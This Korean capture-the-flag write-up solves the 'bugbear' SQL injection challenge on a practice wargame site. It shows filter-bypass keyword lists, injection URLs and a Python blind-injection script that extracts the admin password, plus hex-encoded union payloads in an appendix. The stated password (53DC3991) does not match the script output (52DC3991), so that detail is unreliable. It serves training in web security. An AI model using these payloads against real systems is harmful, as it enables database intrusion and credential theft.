bugbear

이번 문제는 12. darkknight 문제에서 문자 필터링이 한층 더 강화된 버전으로 보인다.
각 파라미터 별 사용이 금지된 문자는 다음과 같다.
( no → prob _ . () ' / pw → ' substr ascii = or and 공백 like 0x)


공백(%20) 문자는 탭(%09) 문자 등으로 대신할 수 있고 LIKE 문자는 아래와 같이 우회 가능하다.

id REGEXP '^admin$'
id RLIKE 'admin'

id IN ('admin')
id IN ('admin','guest')

id RLIKE BINARY 'admin'

STRCMP(id,'admin')=0
LENGTH(id)=5 AND SUBSTRING(id,1,5)='admin'

CAST(id AS CHAR)='admin'
CONVERT(id,SIGNED) LIKE 1234  -- 숫자일 때

위 내용을 토대로 아래와 같이 우회 구문을 작성하는데 성공했다.
이제 원하는 값을 $result[id] 값으로 출력해낼 수 있다.

https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?no=1%09||%09id%09IN%09(CHAR(97,100,109,105,110))--%09


admin 계정의 패스워드(pw) 길이는 8로 확인됐다.

https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?no=1%09||%09id%09IN%09(CHAR(97,100,109,105,110))%09%26%26%09LENGTH(pw)%3C9--%09


이제 admin 계정의 패스워드 값을 구해야 하는데 “OR” 문자가 필터링 되고 있어 ORD() 함수 사용이 불가능하다.
이를 우회하기 위해 MID, CHAR 함수를 사용했다.
( SUBSTR 대신 MID 사용, ORD 함수 대신 CHAR 함수를 사용했다. ORD는 특정 문자를 10진수 값으로 변환해서 값을 비교하는 방식이라면 CHAR는 반대로 10진수 값을 ASCII 문자 값으로 변환하여 값을 비교하는 방식이다. )

https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?no=1%09||%09id%09IN%09(CHAR(97,100,109,105,110))%09%26%26%09MID(pw,1,1)%3CCHAR(100)--%09


패스워드 추출을 위한 파이썬 코드는 아래와 같다.
(추출된 패스워드는 53DC3991 로 확인됐다. 그러나 MySQL 에서는 대소문자 구분을 하지 않으므로 실제 값은 소문자일 수 있다.)

import requests
 
TRAGET_URL = 'https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php'
COOKIE = {'PHPSESSID' : 'COOKIE_VALUE'}
PASSWORD = ''
 
for i in range(1, 9):
    for j in range(33, 123):
        URL = TRAGET_URL + f"?no=1%09||%09id%09IN%09(CHAR(97,100,109,105,110))%09%26%26%09MID(pw,{i},1)<CHAR({j})--%09"
        res = requests.get(URL, cookies=COOKIE)
        if "Hello admin" in res.text:
            PASSWORD += chr(j - 1)
            print(f"Extracted admin's password : {PASSWORD}")
            break
            
'''실행 결과
Extracted admin's password : 5
Extracted admin's password : 52
Extracted admin's password : 52D
Extracted admin's password : 52DC
Extracted admin's password : 52DC3
Extracted admin's password : 52DC39
Extracted admin's password : 52DC399
Extracted admin's password : 52DC3991
'''

쨘, 풀이 성공이다.


번외

정규식 필터링 리스트에 있는 0x 는 특정 값을 추출하려고 할 때 아래와 같은 방식으로 사용할 수 있다고 한다.

admin   → 0x61646d696e
guest   → 0x6775657374  
select  → 0x73656c656374
union   → 0x756e696f6e

[ . . . ]

# 테이블명 우회
1' union select 1,0x73656c656374,3--

# 문자열 조건 우회  
1' and (select length(pw) from users where id=0x61646d696e)>5--

🐛.. 🐛.. 🐛..